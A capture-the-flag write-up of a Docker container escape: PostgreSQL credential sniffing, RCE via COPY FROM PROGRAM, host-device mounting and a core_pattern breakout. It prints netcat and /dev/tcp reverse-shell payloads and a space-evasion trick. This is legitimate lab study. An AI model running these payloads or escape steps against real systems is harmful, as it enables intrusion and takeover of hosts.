Contain Me If You Can
Challenge Description

A container escape challenge where we need to break out of a Docker container and gain access to the host system.
Table of Contents
Solution Overview
This challenge demonstrates a multi-stage container escape attack:
Network Reconnaissance - Discovered PostgreSQL database connection through network analysis
Credential Sniffing - Captured plaintext PostgreSQL credentials by killing and monitoring connection re-establishment
RCE via PostgreSQL - Exploited superuser privileges to achieve command execution using
COPY FROM PROGRAMContainer-to-Container Pivot - Escaped from initial container to PostgreSQL container with root access
Host Escape - Leveraged mounted
/devdevices to access host filesystem and execute code on host viacore_patternbreakout
Key Vulnerability: Privileged container with access to host devices (/dev/vda, /dev/vdb) and writable kernel interfaces (/proc/sys/kernel/core_pattern) allowed complete container escape and host compromise.
Initial Analysis
Container Environment Discovery
During initial enumeration, we discovered a .dockerenv file indicating we are inside a Docker container. However, the docker binary itself is not present in the container

Attempting to locate Docker sockets yielded no results.

Key findings:
Container environment confirmed (
.dockerenvpresent)No Docker binary available
No accessible Docker sockets
Automated Enumeration with Linpeas
To search for potential container escape vectors, we ran linpeas for automated privilege escalation enumeration.

The linpeas output didn't reveal any immediate automated escape paths. Additional process monitoring with pspy showed a sleep infinity command running on PID=1, but nothing particularly interesting.

Network Analysis
Checking active network connections revealed an established connection to 172.19.0.2 on port 5432.

Network findings:
Target:
172.19.0.2:5432(PostgreSQL default port)Our IP:
172.19.0.3(default Docker network range)Both IPs in the same Docker network

Security Note: PostgreSQL typically uses plaintext TCP connections on port 5432 by default, making credentials vulnerable to network sniffing within the same network segment.
Main Exploitation
Sniffing PostgreSQL Credentials
Since PostgreSQL connections on port 5432 typically use unencrypted TCP, we can capture network traffic to potentially leak credentials.
Step 1: Capture network traffic

Analysis:
The connection was already established, running SELECT now(); statements. This query returns the current date and time, typically used for health checks.
Step 2: Force authentication handshake
Since the connection is already established, we need to kill it to force a re-authentication where credentials will be transmitted in plaintext.

After killing the connection, we re-ran tcpdump to capture the authentication handshake.

Success! Captured credentials:
PostgreSQL Authentication and Privilege Discovery
With the captured credentials, we can now authenticate to the PostgreSQL server using the psql client.

Step 1: Enumerate database tables
Output:
The tables appear to be standard system tables. However, notably our user owns all tables.
Step 2: Check user privileges

Critical finding: We are authenticated as a superuser (equivalent to root for PostgreSQL)!
Achieving RCE on PostgreSQL Container
With superuser privileges, we can leverage PostgreSQL's built-in functions for file operations and command execution.
Testing file read capabilities
Referring to PayloadsAllTheThings, we can use pg_read_file to read local files.


Analysis:
Attempting to read /etc/shadow or /flag returns errors - permission denied and file not found respectively.

This confirms we are inside another container (the PostgreSQL container), not the host machine. We need to achieve command execution to further enumerate and escape.
Achieving command execution with COPY FROM PROGRAM
Still referencing PayloadsAllTheThings, we can use COPY FROM PROGRAM to execute arbitrary commands.
Step 1: Set up reverse shell listener
We used ngrok and nc to set up a tunnel to catch the reverse shell.

Step 2: Execute reverse shell payload
Payload explained:
rm /tmp/f- Remove existing named pipe if presentmkfifo /tmp/f- Create named pipe for bidirectional communicationcat /tmp/f|sh -i 2>&1|nc 172.19.0.3 4444 >/tmp/f- Create reverse shell to our listener
Success!


We now have a shell on the PostgreSQL container!
Privilege Escalation within PostgreSQL Container
Step 1: Enumerate the container
During basic enumeration, we discovered a backup.sh script.

The script performs hourly PostgreSQL database dumps, running as the root user.
Step 2: Check sudo privileges
Output:

We can escalate to root within the PostgreSQL container trivially using sudo su.
Docker Escape via Device Mounting
Despite having root access in the PostgreSQL container, we are still containerized. Let's run linpeas again to identify escape vectors.
Key finding: The /dev directory is mounted with access to host devices!

Enumerating available devices

We can see vda and vdb devices available. Let's attempt to mount these to access the host filesystem.
Step 1: Mount the host device

Success! The vda device contains the Docker host's underlying filesystem.

Step 2: Read the flag from host

We successfully retrieved the flag! However, we still don't have command execution on the host. Linpeas identified two additional escape techniques:
core_patternbreakoutuevent_helperbreakout
Alternative Escape: Uevent Helper (Attempted)
We attempted the uevent_helper escape technique documented on HackTricks.

Payload:
Note: Due to ngrok tunnel limitations (single tunnel), we installed tmux for multi-tab support, avoiding the need for multiple tunnels.

Unfortunately, this technique didn't successfully provide a reverse shell. We moved on to the core_pattern technique.
Alternative Escape: Core Pattern Technique
The core_pattern breakout is well-documented in this Wiz article. This technique exploits the kernel's core dump handler to execute arbitrary code on the host.
Step 1: Overwrite core_pattern with reverse shell payload
Payload breakdown:
/proc/sys/kernel/core_pattern- Kernel parameter defining what happens when a process crashesThe payload is base64 encoded:
/bin/bash -i>& /dev/tcp/172.19.0.3/4445 0>&1${IFS%%??}- Bash variable expansion trick to insert space without using space character
Step 2: Trigger a crash to execute the payload
From the PostgreSQL container, trigger a segmentation fault:
Parameters explained:
kill -11- Sends SIGSEGV (segmentation fault) signal$$- Current process ID

Getting the Flag
Success! We caught a reverse shell from the host system.

Summary:
The PostgreSQL container runs with excessive privileges (access to
/devand/proc/sys/kernel)Mounting
/dev/vdagave us read access to the host filesystem, allowing us to retrieve the flag directlyThe writable
/proc/sys/kernel/core_patternallowed us to hijack the kernel's crash handlerWhen a process crashes, the kernel executes our malicious payload on the host (not in the container)
This grants us a full reverse shell with host-level access
Flag: WIZ_CTF{how_the_tables_have_turned_guests_to_hosts}
Last updated